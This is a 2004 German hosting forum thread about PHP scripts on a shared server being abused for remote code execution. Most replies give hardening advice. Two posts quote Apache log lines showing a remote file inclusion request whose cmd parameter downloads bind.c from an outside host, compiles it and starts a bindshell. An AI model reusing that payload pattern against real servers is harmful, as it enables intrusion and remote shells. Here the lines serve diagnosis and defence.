Sicherheit

Lesenswerte Artikel, Anleitungen und Diskussionen
moppi
Posts: 368
Joined: 2003-02-15 11:16

Sicherheit

Post by moppi » 2004-09-27 09:45

Hallo,

ich habe folgendes Problem, ein Kunde auf meinem Server setzt einige Scripte von Leuten ein die IMHO nicht so ganz richtig ticken.

Ich setze Apache 2.0.50 ein dazu PHP4 als CGI und leider habe ich ständig Kinder die einen Remote Code execution über ein nicht richtig tickendes PHP Script ausführen. Das sind dann dinge wie openssl exploit finder john the ripper bindshell usw.

Ich möchte keine Grundsatzdiskussion entfachen!

Folgende Lösungen sehe ich momentan als dringend:

1. iptables zum blocken von Verbindungen auf anderen geöffneten ports wie diese bindshell krams
2. regelmässige scans der prozessliste nach den confixxusern

folgende Lösung evtl machbar? (noch nicht geklärt):

1. Die Confixxverzeichnisse der User und das /var/tmp so mounten das keine ausführungsrechte vorhanden sind, geht dann cgi überhaupt noch?

Kann mir jemand weiterhelfen?

darkman
RSAC
Posts: 111
Joined: 2004-03-24 14:09

Re: Sicherheit

Post by darkman » 2004-09-27 10:04

Ich haette da noch eine Loesung: Server sofort vom Netz nehmen da
er wahrscheinlich schon ein oder mehrere Rootkits o.ae. installiert
bekommen hat und somit als 'gehackt' zu handhaben ist.

Danach waere zu empfehlen ein Sicherheitskonzept aufzusetzen das
solche Faelle versucht im vorraus unmoeglich zu machen:
- noexec gemountete Verzeichnisse
- Firewallregeln die sowohl incoming als auch outgoing Verbindungen
verbieten die NICHT zum Betrieb eines solchen Servers notwendig sind
- Gepatchte Kernel um locale Rootexploits auszuschliessen, evtl. grsec um
es einem moeglichen Angreifer noch schwerer zu machen
- Der Einsatz von PHP Securityfeatures (open_basedir, safe_mode, fopen_allow_url etc.)
sowie extra Tools ala suphp um das Ausfuehren fremder / eigener Scripte
zu verhindern/zu erschweren.
- Eine gescheite Updatepolicy (z.B. keinen Apachen einsetzen der bekannte
Sicherheitsloecher hat (oder hast Du den gepatcht/wurde der gepatcht?)
- Besseres Accounting/Controling der User um solche Sachen schneller
zu entdecken bzw. garnicht erst ermoeglichen
- "Offizielle Regelungen" die solche Sachen verbieten um ggfs. die User
schnellstens vom System entsorgen zu koennen

und vieles vieles mehr.

Und jetzt los, nimm die Kiste vom Netz bevor noch einer richtig scheisse
damit baut. Den Aerger bekommst dann naemlich Du ('Mein Server war
gehackt, ich war das nicht' hilft da leider auch nicht).

HTH,
Darkman

moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 10:09

Genau diese Antwort wollte ich nicht!

Ich habe wie Du gelesen hast suphp drauf, Apache in der neuesten Version und PHP in der latest stable. Ich nutze gentoo Linux und im Systemkern ist grsecurity mit High eingestellt. Das System ist sauber ich habe den Exploit auf einem Anderen System durchgeführt genau das selbe.

Ich bin momentan etwas im rudern mit IP tables, so richtig zum zug bin ich noch nicht gekommen, ausser das hinterher alles dicht war aber ich habe auch nicht besonders viel zeit damit verbracht.

Funktionieren denn CGI's noch wenn die Partition kein exec ermöglicht?

darkman
RSAC
Posts: 111
Joined: 2004-03-24 14:09

Re: Sicherheit

Post by darkman » 2004-09-27 11:03

Moppi wrote:Genau diese Antwort wollte ich nicht!

Ich habe wie Du gelesen hast suphp drauf, Apache in der neuesten Version und PHP in der latest stable.
Vielleicht bin ich ja bloed, aber von suphp steht nix in deinem Posting.
Und Apache neuste Version...:

Code: Select all

 Apache 2.0.51 Released

    The Apache HTTP Server Project is proud to announce the release of version 2.0.51 of the Apache HTTP Server ("Apache").

    This version of Apache is principally a bug fix release. Of particular note is that 2.0.51 addresses five security vulnerabilities:

    An input validation issue in IPv6 literal address parsing which can result in a negative length parameter being passed to memcpy.
    [CAN-2004-0786]

    A buffer overflow in configuration file parsing could allow a local user to gain the privileges of a httpd child if the server can be forced to parse a carefully crafted .htaccess file.
    [CAN-2004-0747]

    A segfault in mod_ssl which can be triggered by a malicious remote server, if proxying to SSL servers has been configured.
    [CAN-2004-0751]

    A potential infinite loop in mod_ssl which could be triggered given particular timing of a connection abort.
    [CAN-2004-0748]

    A segfault in mod_dav_fs which can be remotely triggered by an indirect lock refresh request.
    [CAN-2004-0809]
Nur so infohalber... (in deinem Posting steht was von 2.0.50)
Moppi wrote:Ich nutze gentoo Linux und im Systemkern ist grsecurity mit High eingestellt. Das System ist sauber ich habe den Exploit auf einem Anderen System durchgeführt genau das selbe.
Wenn das Exploit tut, hast Du doch ein Problem, oder etwa nicht?!
Desweiteren, woher willst du wissen das es Sauber ist? chkrootkit mal
laufen gelassen? Weder grsec noch gentoo schuetzen durch ihr vorhandensein
vor exploits. Auch gentoo will gepflegt werden, und grsec einfach auf High
stellen is ja nett, aber grsec hat nochn paar Features mehr.
Moppi wrote:Ich bin momentan etwas im rudern mit IP tables, so richtig zum zug bin ich noch nicht gekommen, ausser das hinterher alles dicht war aber ich habe auch nicht besonders viel zeit damit verbracht.
Ausgehend Webrequest (Port 80, 443) blocken ist z.B. nen guter Ansatz.
Moppi wrote:Funktionieren denn CGI's noch wenn die Partition kein exec ermöglicht?
Probiers aus? CGI im Sinne von Shell/Perl Scripten? Falls ja, hast Du eh ein
Problem, damit kannst Du naemlich nicht mehr wirklich kontrollieren was
ein Script im System macht und hast quasi einen 'Lokalen User' auf Deinem
System (in dem Fall jeder 'Kunde' der CGIs nutzen darf).

So long,
Darkman

moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 11:15

sorry das ist die installierte version:

Code: Select all

net-www/apache-2.0.51-r1
und genau von den userrechten habe ich geredet die ganze zeit. das hier dürfte verdeutlichen wovon ich rede...

Code: Select all

205.236.2.175 - - [26/Sep/2004:16:17:54 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=wget%20lightb.home.ro/bind.c;gcc%20-o%20bind%20bind.c;./bind%201024& HTTP/1.0" 200 204 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:16:18:09 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=rm%20-rf%20bind* HTTP/1.0" 200 165 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:21:15:47 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=uname%20-a HTTP/1.0" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:21:16:00 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=uname%20-a HTTP/1.0" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:21:16:31 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=uname%20-a HTTP/1.0" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
das system muss nicht neu installiert oder sonstwie werden der effekt ist der gleiche auch auf anderen systemen wie weit man es mit diesem exploit treiben kann dürfte jedem klar sein, aber es nervt denn sowas kann überall vorkommen.

Hat jemand eine Idee dazu?

darkman
RSAC
Posts: 111
Joined: 2004-03-24 14:09

Re: Sicherheit

Post by darkman » 2004-09-27 11:44


moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 11:50

Ja ich weiss kenne ich alles aber das Problem liegt nicht in der Software. Mein System muss dagegen was haben, das wäre eine geeignete Regelsammlung für das öffnen bestimmter Ports und eine regelmäßige Prozesslistenkontrolle.

Oder seh ich da was falsch?

darkman
RSAC
Posts: 111
Joined: 2004-03-24 14:09

Re: Sicherheit

Post by darkman » 2004-09-27 12:02

Natuerlich liegt das Problem in der Software, die Software ist Buggy und muss
daher gefixt werden. ein WORKAROUND Deinerseits ist moeglich (die Loesung
hatte ich btw. schonmal genannt: allow_url_fopen = off, iptables -I OUTPUT
-p tcp --dport 80 -j REJECT).
Und wenn Du die Software nich installiert hast, dann entsorg denjenigen
ders getan hat bzw. sag ihm er soll seinen scheiss fixen sonst fliegt er
runter.

So long,
Darkman

Roger Wilco
Administrator
Administrator
Posts: 6001
Joined: 2004-05-23 12:53

Re: Sicherheit

Post by Roger Wilco » 2004-09-27 12:03

Du setzt an der falschen Stelle an. Wenn der "Kunde" erst mal etwas ausführen kann, ist es schon zu spät. Du setzt danach an.
Ein erster Schritt wäre vllt. mal, die PHP-Funktionen exec, system usw. zu sperren. Dann würde ich dem Kunden die Login-Shell entziehen, da der Angreifer sonst das Passwort des Kunden ändern kann, wenn die PHP-Skripte mit Userrechten laufen (suPHP).
Desweiteren solltest du mal ein ernstes Wörtchen mit dem Kunden reden und ihm klar machen, dass er mit seinen Skripten den gesamten Server gefährdet und dass du das nicht tollerieren kannst. Ggf. wie schon genannt entsprechende Klauseln in deinen Vertrag aufnehmen, so dass du solche Kunden problemlos kündigen kannst.

...ach und ich würde den Server sicherheitshalber trotzdem komplett neu aufsetzen, auch wenn du das nicht hören willst.

moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 12:09

DAs Problem dürfte wohl jeder haben was ich beschrieben habe wenn die entsprechenden PHP Scripte darauf laufen.

Das System ist bereits neu aufgesetzt. Und das zum 3 ten mal weil ich zu oft auf anderes gequark höre.

Trotzdem Danke.

sascha
RSAC
Posts: 1345
Joined: 2002-04-22 23:08

Re: Sicherheit

Post by sascha » 2004-09-27 12:58

Moppi wrote:

Code: Select all

205.236.2.175 - - [26/Sep/2004:16:17:54 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=wget%20lightb.home.ro/bind.c;gcc%20-o%20bind%20bind.c;./bind%201024& HTTP/1.0" 200 204 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:16:18:09 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=rm%20-rf%20bind* HTTP/1.0" 200 165 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:21:15:47 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=uname%20-a HTTP/1.0" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:21:16:00 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=uname%20-a HTTP/1.0" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
205.236.2.175 - - [26/Sep/2004:21:16:31 +0200] "GET /visitors/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://plasture.go.ro/&cmd=uname%20-a HTTP/1.0" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)"
Das hier wäre dir schonmal erspart geblieben, wenn du die Rechte auf wget (ja ja, es gibt noch andere Wege um etwas herunterzuladen...) und gcc richtig gesetzt hättest. Noch besser wäre es natürlich, wenn gcc garnicht drauf wäre.

Der-Tim
RSAC
Posts: 206
Joined: 2002-11-08 10:48
Location: Hamburg

Re: Sicherheit

Post by Der-Tim » 2004-09-27 13:29

Mmmh, ich weiß nicht, aber es gibt, wie auch schon von den Anderen vorgeschlagen, mehrere Lösungswege...

GCC nicht auf dem Rechner zu haben kann ein Vorteil sein... Wofür braucht man denn GCC (ausser für Gentoo mangels Binärpaketen)? Ein Debian Sarge oder für die, die was "riskieren" wollen auch ein unstable tut gute Dienste. Gentoo wird eher interessant, wenn man dieses auf einer Workstation einsetzt (bzgl. Sys-Performance)...

Man kann Kunden laut AGB verbieten Systemschädliche Software / Skripte einzusetzen und ihnen bei Nichtbeachtung mit sofortiger Kündigung drohen...
Aber ob das hilft? Keine Ahnung. Einfach keine Kiddies an die Server lassen... ;)

MfG Tim

moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 13:54

Ich betreibe das Teil nicht erst seit einer Woche und all diese paranoia und paranoide gequatsche hängt mir echt raus ganz oben. Denn es gibt keine anzeichen für eine Manipulation des System an sich. Ich habe sämtliche Dateien zumindest ein großen Teil davon anhand eines Prüfsummenkatalogs überprüft. Auch den Kernel!

Eine Neuinstallation ist immer was tolles im auge des Admins das gestehe ich ein, nur wenn es keine konkreten Hinweise gibt das etwas nicht stimmt wie Traffic kurriose Verbindungen usw, es gibt ja unendlich viele Sympthome.. Man muss den Gaul nicht immer gleich erschießen nur weil er schief guckt.

Kann man suphp nicht bewegen die ausgeführten Prozesse unterhalb auszuführen sodass diese sterben mit der beendigung des laufes von dem cgi?

Der-Tim
RSAC
Posts: 206
Joined: 2002-11-08 10:48
Location: Hamburg

Re: Sicherheit

Post by Der-Tim » 2004-09-27 14:51

Moppi,

da Du ja so überklug scheinst, wünsche ich Dir noch viel Spaß mit diesen "Script-Kiddy-Kunden"... Wenn man sowas überhaupt "Kunden" nennen darf... Das hört sich mal wieder nach dem Wohnzimmer-Provider schlechthin an... :roll:

Naja, was soll man da noch sagen?!

moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 16:06

ist mir egal was andere denken, weil sie sich kein komplettes bild machen können, können sie auch schwer annähernd richtig urteilen.

aber sehr sachlich nüchtern kommentiert trägt der allgeimeinheit sehr bei...

zu deiner wertung von kunden, ich glaube das dies nicht vonnöten ist. denn dieses problem haben wohl eher alle das sachen hochgeladen werden die nicht wie erwartet agieren. zudem dieses script tatsächlich ein kommerzielles produkt ist die wertung sehr aus der luft gegriffen.

User avatar
Joe User
Project Manager
Project Manager
Posts: 11583
Joined: 2003-02-27 01:00
Location: Hamburg

Re: Sicherheit

Post by Joe User » 2004-09-27 16:15

Dann verlange Dein Geld zurück! Der Bug wird in jedem vernünftigen PHP-Einführungskurs/Buch ausführlich erläutert...
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.

moppi
Posts: 368
Joined: 2003-02-15 11:16

Re: Sicherheit

Post by moppi » 2004-09-27 16:23

Ist nicht meines ich habe das nur in erfahrung bringen können nach dem suchen.

Der-Tim
RSAC
Posts: 206
Joined: 2002-11-08 10:48
Location: Hamburg

Re: Sicherheit

Post by Der-Tim » 2004-09-28 06:08

Was hier wohl inkompetent ist, ist Deine Argumentation Moppi...


Keiner der Leute, die hier auf Deinen Thread geantwortet haben, ist in irgend einer Weise inkompetent, noch sind diese Tipps, Ratschläge und Meinungen aus der Luft gegriffen... Für mich bist Du ein Wohnzimmerprovider, der nicht wirklich zu verstehen scheint, dass es hier nicht anders geht, als gut gemeinte Ratschläge zu geben.

Es gibt da ja einen Spruch, der ist ganz treffend für Dich:
Wer nicht hören will, muss fühlen...
In diesem Sinne: Lass ruhig Deinen Server hacken oder lass Dich ruhig von Kiddies veralbern, soll mir doch egal sein... Ist ja nicht meiner...

Und ausserdem: Da Du ja schon alles weißt, trag Deine Nase ruhig hoch im Wind, aber achte darauf, dass Du nicht allzu tief auf die selbige fällst...